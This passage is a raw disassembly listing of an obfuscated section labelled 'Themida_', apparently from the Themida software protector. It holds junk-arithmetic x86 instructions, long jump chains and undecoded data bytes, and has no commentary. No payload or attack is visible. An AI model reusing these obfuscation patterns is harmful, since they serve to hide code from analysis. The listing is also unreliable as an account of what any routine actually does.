; ---------------------------------------------------------------------------
		db 5Eh
		dd 3494E681h, 81467968h, 731DDCF6h, 5EF18923h, 8103E9C1h
		dd 5131AFE1h, 81E1D11Fh, 824252E9h, 59CB011Eh, 0E9241C87h
		dd 7394h
; ---------------------------------------------------------------------------


loc_55357C:				; CODE XREF: Themida_:0055ED36j
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	2418h
		mov	[esp], eax
		mov	eax, 13B258DAh
		sub	eax, 0FFFFFFFFh
		or	eax, 2B1D0181h
		push	ecx
		mov	ecx, 732245DDh
		xor	ecx, 18580BB9h
		inc	ecx
		push	edi
		mov	edi, 68643EC5h
		shl	edi, 7
		push	ecx
		mov	ecx, 30DD7E5Eh
		dec	ecx
		add	ecx, 87D6D87h
		jmp	loc_55C675
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 7796E9h, 4016600h, 48E99C24h, 0B8FFFFFFh, 4CFD1965h
		dd 0D059C125h, 4E683522h, 12E92E9Ch
		db 0B0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5535EB:				; CODE XREF: Themida_:00557F80j
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 53106C7h
		push	24F8h
		mov	[esp], ebp
		push	dword ptr [esp]
		pop	eax
		push	79Ah
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 349D0D56h
		push	ecx
		push	edi
		jmp	loc_555062
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48324h, 0EC815351h, 4, 0B6241489h,	2823B360h, 24148BF3h
		dd 0A727E9h, 240C8900h,	3CE9E189h, 8300005Ah, 0E0E901C6h
		dd 2C000000h, 0E9526674h, 3A20h, 0C681E689h, 4,	0B313E9h
		dd 2AEA8100h, 0C13E1836h, 0EAC104EAh, 45C28103h, 1FE942Ch
		dd 24148BD6h, 4C481h, 34330000h, 8B49E924h
		db 2 dup(0)
word_55369E	dw 77FFh		; DATA XREF: Themida_:005534A0o
		dd 59669D1Ch, 2414D366h, 0C4B7E99Ch, 0D7290000h, 0CAEF815Ah
		dd 8108F31Ah, 5D21C3C7h, 56CF012Dh, 5D21C3BEh, 5EF7292Dh
		dd 1ACAC781h, 0BA6808F3h, 0E9000071h, 0C4D2h, 76B26859h
		dd 14890000h, 0BE565124h, 576E36D8h, 0E2C9EE81h, 0F1895742h
		dd 0E1C1495Eh, 0D3E98108h, 0E9E11DD3h, 91FBh, 0FFFE1AE9h
		dd 75B72DFFh, 0BF572383h, 45F95F6Eh, 2D14E9h, 5DEF3100h
		dd 70ACE9h, 7BE95A00h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553723:				; CODE XREF: Themida_:005577FEj
		pop	ebx
		pop	eax
		add	ebx, 6E3F574Fh
		add	ebx, edi
		push	eax
		mov	eax, 644D2123h
		sub	eax, 0F60DC9D4h
		sub	ebx, 261D6CA4h
		jmp	loc_559551
; ---------------------------------------------------------------------------
		db 87h
		dd 0AAAFE9F1h, 4830000h, 515D0424h, 4B9h, 59CD0100h, 8904EC83h
		dd 1CE9243Ch, 8B0000B8h, 0C4812434h, 4,	0F781D7F7h, 7213D20h
		dd 7FE368h, 24048900h, 3072BF57h, 0EFC17C9Dh, 9BEFE908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55378A:				; CODE XREF: Themida_:0055463Ej
		shr	edi, 3
		xor	edi, 110EC05Ah
		add	ebx, edi
		pop	edi
		push	ecx
		push	edi
		push	ebx
		jmp	loc_553BAA
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 0D6E90000h, 2C0000B1h, 2434FFB0h, 83241C8Bh
		dd 0ADE904C4h, 81000031h, 6A57B0F1h, 0AE4BE91Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5537C6:				; CODE XREF: Themida_:00559BEEj
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_555E7F
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		jmp	loc_55800E
; ---------------------------------------------------------------------------
		dd 4C181h, 0D6E90000h, 30h, 53F1E9DDh, 0C870000h, 3C895C24h
		dd 3C8B5424h, 3D07E924h
		db 2 dup(0)
word_55380A	dw 8B66h		; DATA XREF: Themida_:005533F4o
		dd 5453240Ch, 52241C8Bh, 0D5E9E289h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55381B:				; CODE XREF: Themida_:00553B30j
		push	ecx
		push	ebp
		push	edx
		mov	edx, 7EB92668h
		jmp	loc_5544A1
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2810000h, 4, 0E9241487h, 5423h, 0BD29E7BBh
		dd 0F0CB815Bh, 0F76D3241h, 44EB81D3h, 4B1FE75Ah, 3BBFEB81h
		dd 0D9016059h, 2CB4E9h,	5E08900h, 4, 8704C083h,	555C2404h
		dd 4BDh, 8AE8E900h, 0E9560000h,	9C7Ah, 25A4F781h, 0C281118Ah
		dd 1D372BE1h, 0BD55FA29h, 13D907A0h, 0BBB8E9h, 0B9515700h
		dd 1C50245Fh, 81D9F749h, 307A8FE9h, 4E1C11Dh, 3179E9h
		dd 68575100h, 79487896h, 7780E9h, 0A5EF8100h, 4F0E5741h
		dd 0BDEAE9h, 24148900h,	50E99C50h, 89FFFFFCh, 6FB1240Ch
		dd 5336F180h, 87E948B7h, 530000B3h, 0F3802CB3h,	0B7C38007h
		dd 8EE9DE88h, 80000047h, 805A88C3h, 0C30082C3h,	0E982EB80h
		dd 19F5h, 0FFC0B60Fh, 34FF8734h, 24048B24h, 0A912E9h, 0C1E98100h
		dd 0E92CE81Fh, 2D6Fh, 5585450h,	4, 0E2BE5657h, 0BF60D933h
		dd 9F26CC22h, 28E9F701h, 8900005Eh, 4C581E5h, 57000000h
		dd 4BFh, 2540E900h, 0FF540000h,	3C8B2434h, 1B27E924h, 0E1050000h
		dd 0E9FC7A94h, 363Bh, 0FE2882B6h, 0E9241C8Bh, 4F0Ah, 0EAE9EF01h
		dd 0BA0000A9h, 1C1D4846h, 619AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55397D:				; CODE XREF: Themida_:0055879Bj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55E783
; ---------------------------------------------------------------------------
		db 28h,	0E8h, 59h
		dd 0E81E9h, 45A6600h, 0B4505278h, 26CC80C7h, 0CCFED4F6h
		dd 0FE55C480h, 0BCC480CCh, 807CCC80h, 31E95BCCh, 57000032h
		dd 457FF5BFh, 1FEF8133h, 81515142h, 0F43DD2F7h,	5FFD01E1h
		dd 870E9h, 5BD92000h, 0C906866h, 241C8966h, 88B0B551h
		dd 0B4BEE9EBh
		db 2 dup(0)
word_5539DE	dw 8355h		; DATA XREF: Themida_:005532B8o
		dd 348904ECh, 16BD5524h, 5557093Dh, 7CBD5D5Eh, 3124560Fh
		dd 24348BF5h, 4C481h, 49E90000h, 0C0000031h, 3BE905E7h
		dd 83000038h, 348704C6h, 0A0F0E924h, 5B510000h,	81240C8Bh
		dd 4C4h, 1C5F0900h, 0A34685Bh, 38E90000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553A2F:				; CODE XREF: Themida_:0055F359j
		xor	al, 9Ah
		jmp	loc_55DFCF
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C781h, 0C7810000h, 4, 0D6CE9h, 0C1C38100h, 81FDE8C6h
		dd 5140F7C2h, 0E9DA0179h, 222Ch, 405h, 135DE900h, 1660000h
		dd 515E66F0h, 5E10B966h, 53CDE9h, 68E95B00h, 87000063h
		dd 248B240Ch, 24048924h, 47E4E9h
		db 0
; ---------------------------------------------------------------------------


loc_553A8D:				; CODE XREF: Themida_:0055A225j
		mov	ebx, 7FF20537h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 1A1CB70Ch
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_55F058
; ---------------------------------------------------------------------------


loc_553AAE:				; CODE XREF: Themida_:0055DE59j
		push	edx
		jmp	loc_558F81
; ---------------------------------------------------------------------------
		dd 3A4CBF57h, 0CF816EB9h, 6D2F38E5h, 0E905EFC1h, 0FFFFFDF1h
		dd 9CE9FB29h, 51000099h, 2AD368h, 9F7E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553ADA:				; CODE XREF: Themida_:0055E1DCj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_556683
; ---------------------------------------------------------------------------
		db 0B2h, 18h, 28h
		dd 0FE9FE9D0h, 0E958FFFFh, 3245h
; ---------------------------------------------------------------------------


loc_553AF4:				; CODE XREF: Themida_:00555E85j
		mov	[esp], eax
		mov	eax, ebx
		jmp	loc_55F188
; ---------------------------------------------------------------------------
aRQa9		db 'R²Ÿ€Â9',0
		db 0D0h, 5Ah, 8Bh
		dd 0C481241Ch, 4, 5153D828h, 0B0E932B5h, 5D0000B2h, 0E9585B50h
		dd 916Eh
; ---------------------------------------------------------------------------


loc_553B24:				; CODE XREF: Themida_:0055614Bj
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_55381B
; ---------------------------------------------------------------------------
aBsfCeasq?	db 'áä*CEAéQ?',0
		db 0
byte_553B41	db 0ACh, 81h, 0ECh	; DATA XREF: Themida_:005534C0o
		dd 2, 240C8966h, 874E9h
		db 0
; ---------------------------------------------------------------------------


loc_553B51:				; CODE XREF: Themida_:00557D74j
		pop	ebx
		push	ebp
		jmp	loc_55E767
; ---------------------------------------------------------------------------


loc_553B58:				; CODE XREF: Themida_:0055E167j
		pop	dword ptr [esp]
		pop	ebx
		jmp	loc_558D39
; ---------------------------------------------------------------------------
aST		db '[é!t',0
		dw 8100h
		dd 4ECh, 415E900h, 692C0000h, 99E94904h, 51000026h, 0FE6DDAB9h
		dd 59CE297Dh, 0E95EF789h, 0B853h, 4EC815Fh, 89000000h
		dd 0E0E9241Ch, 5000004Eh, 0E288EC88h, 0DAF65958h, 55B7E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553BAA:				; CODE XREF: Themida_:00553799j
		mov	ebx, 6083497Ah
		mov	edi, ebx
		pop	ebx
		mov	ecx, 6083497Eh
		sub	ecx, edi
		pop	edi
		add	ebx, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	3082h
		jmp	loc_556E9D
; ---------------------------------------------------------------------------
aHSwv		db 'ºH ^,éwV',0
		db 0
aWicpshd	db 'W‰çPéh„',0          ; DATA XREF: Themida_:005533E0o
		align 2


loc_553BE6:				; CODE XREF: Themida_:0055F65Bj
		xchg	ebp, [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_558DFC
; ---------------------------------------------------------------------------


loc_553BF7:				; CODE XREF: Themida_:0055D7A6j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55C6C8
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 36271794h, 0D8E870BAh, 24C281C9h, 16A155Bh, 24EA81F2h
		dd 8B6A155Bh, 0E9562434h, 0FFFFFA2Ch, 76F52D66h, 7F6AE95Eh
		dd 0C8290000h, 21BDBF57h, 0F82919C6h, 9296E9h, 4EF8300h
		dd 8B243C87h, 0C892424h, 2474FF24h, 240C8B04h, 8F04C483h
		dd 0F5C2404h, 9C2404A3h, 0FFF8A2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553C7D:				; CODE XREF: Themida_:00556440j
		sub	bl, cl
		pop	cx
		add	bl, dh
		add	bl, 59h
		pop	dx
		jmp	loc_55DA03
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 4Fh
		dd 34C5C781h, 0FD89DC45h, 0BF80E9h
		db 0
; ---------------------------------------------------------------------------


loc_553C9D:				; CODE XREF: Themida_:0055B204j
		pop	ecx
		push	edx
		jmp	loc_5566F4
; ---------------------------------------------------------------------------
		dd 0E9241489h, 7EA9h
; ---------------------------------------------------------------------------


loc_553CAC:				; CODE XREF: Themida_:0055E09Aj
		pop	eax
		jmp	loc_55C070
; ---------------------------------------------------------------------------


loc_553CB2:				; CODE XREF: Themida_:0055A6BEj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4AFF1D04h
		jmp	loc_554916
; ---------------------------------------------------------------------------


loc_553CC6:				; CODE XREF: Themida_:0055704Bj
		shl	edi, 6
		not	edi
		sub	edi, 0FFFFFFFFh
		dec	edi
		shr	edi, 6
		sub	edi, 1E09E04h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, edi
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	edi
		jmp	loc_55EA69
; ---------------------------------------------------------------------------


loc_553CF2:				; CODE XREF: Themida_:005564C0j
		mov	edx, edi
		push	ecx
		push	182Eh
		mov	[esp], edx
		mov	ecx, [esp]
		add	esp, 4
		push	ecx
		sub	dword ptr [esp], 0F9124EBh
		pop	eax
		add	eax, 0F9124EBh
		mov	ecx, [esp]
		jmp	loc_55B296
; ---------------------------------------------------------------------------
aHj6		db '\h¦6',0
		dw 8900h
		db 14h,	24h, 53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5552E4
; ---------------------------------------------------------------------------
		db 81h
		dd 4E5313EFh, 0FB46E919h, 420FFFFh, 0E0E99C24h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553D3F:				; CODE XREF: Themida_:0055DC7Cj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 40h
		and	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55455B
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0B1B62414h, 31BAE9h, 24348900h, 81E68956h
		dd 4C6h, 4EE8100h, 87000000h, 248B2434h, 24248924h, 4BF57h
		dd 7C010000h, 5E5F0424h, 8CA9E9h, 58E58800h, 5DE9DD00h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553D9B:				; CODE XREF: Themida_:0055EBC1j
		neg	eax
		shl	eax, 3
		xor	eax, 4F6134AFh
		jmp	loc_555FC5
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24348904h, 6F5DE9h, 0B8505A00h, 5E4B1DC2h, 5858C231h
		dd 875AD701h, 0F65C243Ch, 0B60F66E1h, 0BC6866CCh, 0C896657h
		dd 0B60F6624h, 9C5166C8h, 0FFF73EE9h, 0F5235FFh, 0FBE976BFh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553DEB:				; CODE XREF: Themida_:00559FF6j
		mov	ecx, 6F7330A4h
		mov	ebx, 0F925FD99h
		add	ebx, ecx
		pop	ecx
		shr	ebx, 6
		or	ebx, 7FDA47C3h
		sub	ebx, 56C901E6h
		jmp	loc_5560A5
; ---------------------------------------------------------------------------
		dd 0E904C483h, 1E07h
; ---------------------------------------------------------------------------


loc_553E14:				; CODE XREF: Themida_:0055BC75j
		pop	esp
		add	edx, 4
		jmp	loc_55CC1D
; ---------------------------------------------------------------------------
		dd 5685E54h, 8900002Eh,	0B4E9243Ch, 89000011h, 4BD242Ch
		dd 1000000h, 0EFE95DEBh, 5B00003Ah, 0E9E78957h,	191h
dword_553E48	dd 592434FFh, 4EC81h, 1C890000h, 70E95424h ; DATA XREF:	Themida_:00553480o
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553E5B:				; CODE XREF: Themida_:0055703Ej
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5559CE
; ---------------------------------------------------------------------------
		dd 0E9DAF74Ah, 1A01h
; ---------------------------------------------------------------------------


loc_553E74:				; CODE XREF: Themida_:0055564Aj
		add	eax, edx
		push	edi
		mov	edi, 36456E8Ch
		add	eax, edi
		pop	edi
		sub	eax, 243A0F4Fh
		jmp	loc_55DE0A
; ---------------------------------------------------------------------------


loc_553E89:				; CODE XREF: Themida_:005589E1j
		add	dword ptr [esp], 4
		pop	eax
		push	7A9h
		mov	[esp], edi
		push	ebx
		push	3CDE4166h
		jmp	loc_55B317
; ---------------------------------------------------------------------------


loc_553EA1:				; CODE XREF: Themida_:00555910j
		mov	[esp], eax
		mov	eax, 67FA7595h
		mov	ebp, 0F1DEFA37h
		jmp	loc_556F58
; ---------------------------------------------------------------------------
byte_553EB3	db 66h			; DATA XREF: Themida_:005534A8o
		dd 8324048Bh, 348904ECh, 51E68924h, 296BBB53h, 3AE965C3h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553ECB:				; CODE XREF: Themida_:0055574Aj
		shr	ecx, 1
		push	edi
		jmp	loc_55AEE2
; ---------------------------------------------------------------------------
		db 66h
		dd 66C8B60Fh, 40E99C51h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553EDF:				; CODE XREF: Themida_:00559504j
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		jmp	loc_55D493
; ---------------------------------------------------------------------------


loc_553EE9:				; CODE XREF: Themida_:0055A2F5j
		add	ecx, ebp
		pop	ebp
		and	eax, ecx
		jmp	loc_55E9E4
; ---------------------------------------------------------------------------


loc_553EF3:				; CODE XREF: Themida_:00554918j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55CE06
; ---------------------------------------------------------------------------


loc_553F01:				; CODE XREF: Themida_:00557163j
		add	edx, 4
		jmp	loc_55695D
; ---------------------------------------------------------------------------


loc_553F0C:				; CODE XREF: Themida_:0055B5ECj
		push	edi
		mov	edi, 7F6F35F4h
		mov	ebp, edi
		pop	edi
		sub	ebp, 759E655Ah
		sub	ebp, 6DD621Bh
		inc	ebp
		sub	ebp, 2F36E7Ch
		push	ebx
		mov	ebx, 25CE6EC1h
		xor	ebx, 466B6095h
		jmp	loc_557DB0
; ---------------------------------------------------------------------------


loc_553F39:				; CODE XREF: Themida_:0055DF13j
		shr	eax, 0Ch
		jmp	loc_55F156
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 89241C89h, 7EBF57E3h, 0F7281F1Dh, 7F6FE9D7h,	55B90000h
		dd 813E1C0Ah, 0B47E1FC1h, 11E18121h, 8148FD02h,	974195E1h
		dd 0FDBA5209h, 946762Ah, 27E95AD1h, 0FE00004Ch,	245068C9h
		dd 68E90000h, 89000093h, 0B4BD242Ch, 0E91B2F3Bh, 5A14h
		dd 8880EB80h, 241C8BDCh, 4C481h, 10E90000h, 510000A7h
		dd 0EB28AAB5h, 0CAE95259h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553FB3:				; CODE XREF: Themida_:0055E06Bj
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_55B61B
; ---------------------------------------------------------------------------
		db 89h,	0F5h, 5Eh
		dd offset dword_457444+30EA5h
		dd 0E2C15F00h, 1139E902h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553FCE:				; CODE XREF: Themida_:00558DA1j
		add	al, 8Fh
		push	small 7F77h
		jmp	loc_55EABE
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 4
		dd 56000000h, 4BEh, 5EF70100h, 5C243C87h, 5366FD86h, 12454F6h
		dd 0B6E9h, 0F7EAD100h, 1ECA81D2h, 814B4C27h, 197563C2h
		dd 4EC8116h, 89000000h,	0BD552434h, 49A55C87h, 0C0C5814Dh
		dd 4D65A336h, 0C581DDF7h, 0FC3EE52Fh, 0C15DEE89h, 0EE8108EEh
		dd 0D48DF119h, 6426EB2Dh, 5F00105h, 56426EBh, 5E2434FFh
		dd 2904C483h, 5382DD0h,	815A2BBFh, 4ECh, 24048900h, 0B168E089h
		dd 8900004Dh, 0A2BD242Ch, 0E94DB87Ch, 52C8h
; ---------------------------------------------------------------------------


loc_55406C:				; CODE XREF: Themida_:0055A1D1j
		add	esp, 4
		add	eax, 0FFFFFFFFh
		xor	eax, 0D1C78FBFh
		sub	[edi+24h], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4


loc_55408F:				; CODE XREF: Themida_:00558C35j
		push	ebx
		add	dword ptr [esp], 1AB47669h
		jmp	loc_55E9A8
; ---------------------------------------------------------------------------
		dd 8306E6C0h, 5E904ECh
		db 0A2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5540A7:				; CODE XREF: Themida_:0055A170j
		mov	edx, [esp]
		jmp	loc_55CA06
; ---------------------------------------------------------------------------
		db 66h
		dd 30FD865Bh, 2C32242Ch, 242C3024h, 6169E9h, 46356800h
		dd 3C890000h, 16824h, 34FF0000h, 0C4835F24h, 0B324E904h
		dd 52580000h, 0D9E9E289h, 8B00008Ch, 62E9242Ch,	50000031h
		dd 2B8h, 51E95700h, 1000078h, 0C1835BD9h, 7989E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554102:				; CODE XREF: Themida_:00555D39j
		add	esp, 4
		push	72E8h
		jmp	loc_55CDB4
; ---------------------------------------------------------------------------
		db 5Ah
		dd 8B5FF889h, 0C483240Ch, 242C8B04h, 0E904C483h, 0FFFFF3FBh
		dd 31ACCD81h, 0F74D1315h, 9195E9D5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554132:				; CODE XREF: Themida_:0055F115j
		push	esp
		jmp	loc_5554BC
; ---------------------------------------------------------------------------
aZRiSzu		db ']‡<$\RˆÂé‡u',0
		dd 30C68100h, 5976C258h, 4C681h, 34870000h, 0AB28E924h
		dd 9D040000h, 9D2CD000h, 3B8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_554165:				; CODE XREF: Themida_:00559B42j
		mov	esi, 2
		add	ebx, 387D46E3h
		sub	ebx, 161474BDh
		add	ebx, esi
		add	ebx, 161474BDh
		jmp	loc_55EB1F
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 3C335C24h, 243C3124h, 0E9243C33h,	2EFBh
		dd 0DCB8505Bh, 573D294Ch, 126FE9h, 126BBA00h, 4EE97521h
		db 71h,	2 dup(0)
byte_5541AF	db 66h			; DATA XREF: Themida_:00553344o
		dd 0E924048Bh, 9908h
; ---------------------------------------------------------------------------


loc_5541B8:				; CODE XREF: Themida_:0055DD73j
		push	edi
		sub	esp, 4
		jmp	loc_55A147
; ---------------------------------------------------------------------------


loc_5541C1:				; CODE XREF: Themida_:00555CE8j
		dec	eax
		jmp	loc_55DFF6
; ---------------------------------------------------------------------------


loc_5541C7:				; CODE XREF: Themida_:0055A67Fj
		xor	[esp+4], esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_55A3E5
; ---------------------------------------------------------------------------
		dd 158C229h, 0C335AD1h,	240C3124h, 5C240C33h, 240C8B66h
		dd 4EC81h, 3C890000h, 50E78924h, 5B36BE56h, 0F68131E7h
		dd 71884902h, 0E95EF089h, 27D4h, 0D8296659h, 72642D66h
		dd 0EC835366h, 24348904h, 688EBE66h, 66D6F766h,	6655664Eh
		dd 6675BBBDh, 5D66EE29h, 37EAE9h, 2F536800h, 14890000h
		dd 4BF5724h, 89000000h,	0D5015FFAh, 428E9h
		db 0
; ---------------------------------------------------------------------------


loc_554251:				; CODE XREF: Themida_:00557E2Cj
		pop	eax
		mov	edx, esi
		pop	esi
		shr	edx, 3
		sub	edx, 41487958h
		sub	esi, 3D54E23h
		sub	esi, edx
		add	esi, 3D54E23h
		pop	edx
		jmp	loc_55F1FD
; ---------------------------------------------------------------------------
		dw 8F5Fh
		dd 0B2E92404h, 90000AAh, 243C8BFDh, 4C481h, 0E5C10000h
		dd 8FC58102h, 511B301Ah, 7CB74FB9h, 59CD3134h, 1F4FE9h
		dd 0BABF5700h, 0C104461Ch, 0C78107EFh, 397C6386h, 1691C781h
		dd 0F7815740h, 9891412Eh, 0D5FF801h, 4AF568AAh,	0FFF691E9h
		dd 242C89FFh, 0A751E9h,	242C8900h, 4EC81h, 8F540000h, 4832404h
		dd 565D0424h, 2A4DC4BEh, 0C0F6815Dh, 15D2A4Dh, 24348BF5h
		dd 7F93E9h, 240C8B00h, 4C481h, 0BF570000h, 64D97443h, 7590C781h
		dd 0E7C17CC1h, 1635E904h, 0E1880000h, 0C8BCA88h, 2741E924h
		dd 0BA520000h, 1F246464h, 0B46E981h, 0D1016DDFh, 0B46C181h
		dd 5A5A6DDFh, 0E9240C33h, 8B6Dh, 0F686F280h, 3CCA80DAh
		dd 0C1EA80h, 505B5AD0h,	58345FB0h, 4DA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_554355:				; CODE XREF: Themida_:00558DDFj
		pop	ebp
		pop	eax
		jmp	loc_559E64
; ---------------------------------------------------------------------------
		dd 0D1F6DAB1h, 0FE6BE180h, 6ADAE9C9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55436A:				; CODE XREF: Themida_:00556232j
		mov	[esp], edx
		push	esi
		push	51124BC1h
		pop	esi
		xor	esi, 40361372h
		sub	esi, 1124588Fh
		mov	edx, esi
		pop	esi
		sub	edx, 424A2278h
		add	edx, edi
		add	edx, 424A2278h
		push	ecx
		push	esi
		mov	esi, 0
		mov	ecx, esi
		pop	esi
		add	ecx, 53BE67FDh
		sub	ecx, 4A2A7913h
		add	ecx, edx
		add	ecx, 4A2A7913h
		sub	ecx, 53BE67FDh
		push	edx
		mov	edx, 0
		add	edx, ecx
		add	[edx], eax
		pop	edx
		jmp	loc_554ED2
; ---------------------------------------------------------------------------
		db 0B1h, 0A7h, 2Ch
		dd 4C828F9h, 0C8B66F9h,	2C48124h, 0
		dd 36B353D8h, 8034F380h, 0EB8070C3h, 95C380A5h,	0E905E3C0h
		dd 132Ah, 4C281h, 38E90000h, 8BFFFFF1h,	0E953243Ch, 0A32Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55C0D0
; ---------------------------------------------------------------------------
		dd offset dword_4FD044+424h
		align 2
		dw 3C89h
		dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 8B241C87h, 24D22424h
		dd 0E4E99C24h, 33FFFFF0h, 0D2E9241Ch
		db 14h,	2 dup(0)
byte_554443	db 0FFh			; DATA XREF: Themida_:005532F0o
		dd 669D1C77h, 24041058h, 0F0CDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554452:				; CODE XREF: Themida_:005565D3j
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0CEh, 25h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55445E:				; CODE XREF: Themida_:0055F068j
		push	5516h
		mov	[esp], edi
		mov	edi, 1Ch
		mov	eax, edi
		pop	edi
		sub	eax, 539A45AAh
		add	eax, edi
		add	eax, 539A45AAh
		mov	ecx, [eax]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	0C40h
		mov	[esp], eax
		jmp	loc_55BE9E
; ---------------------------------------------------------------------------


loc_55448F:				; CODE XREF: Themida_:0055D4D0j
		not	ecx
		shl	ecx, 1
		and	ecx, 55F92A04h
		shr	ecx, 7
		jmp	loc_5599EA
; ---------------------------------------------------------------------------


loc_5544A1:				; CODE XREF: Themida_:00553823j
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		add	ebp, 5A0E097Ch
		add	ebp, 59A25848h
		jmp	loc_558DD9
; ---------------------------------------------------------------------------


loc_5544BA:				; CODE XREF: Themida_:00559866j
		mov	ecx, 7EFE4EBBh
		dec	ecx
		or	ecx, 5ABA0FFFh
		inc	ecx
		shl	ecx, 2
		neg	ecx
		jmp	loc_55C486
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 4C18159h, 53000000h, 4BBh,	8BD90100h, 0C483241Ch
		dd 0E7895704h, 4C781h, 5EE90000h, 81FFFFF7h, 0F119A6EAh
		dd 57FA017Ch, 14F8E9h, 24148900h, 0C380D5B2h, 55E952BEh
		db 14h,	2 dup(0)
byte_554517	db 56h			; DATA XREF: Themida_:0055346Co
		dd 1BEh, 5273E900h, 0D0880000h,	9BAFE95Ah, 0F8880000h
		dd 1740E9h, 40478F00h, 4EC8156h, 0E9000000h, 2DC9h, 24148966h
		dd 0D2E91AB6h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55454B:				; CODE XREF: Themida_:0055B5FFj
		pop	esp
		add	al, ch
		jmp	loc_55580F
; ---------------------------------------------------------------------------
		db 0FFh
a4Sr		db '4$ér',0
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55455B:				; CODE XREF: Themida_:00553D53j
		shr	ecx, 6
		push	5E62h
		mov	[esp], ebx
		push	edi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55F752
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 2, 0A76CE9h,	244C0100h, 2C815904h, 747E5624h, 24040137h
		dd 7CABE9h, 31C73100h, 2B36E9F8h, 0EC810000h, 4, 0B9240C89h
		dd 4, 63B7E9h, 0D8F74800h, 6435D0F7h, 176FD59h,	0BA5258C1h
		dd 4, 41B4E981h, 0D1016A70h, 5350E9h, 24048B00h, 9081E9h
		dd 66936600h, 66240487h, 0E924148Bh, 943Ah, 6824048Bh
		dd 0EA5h, 54243C89h, 4C7815Fh, 68000000h, 0EBBh, 51241C89h
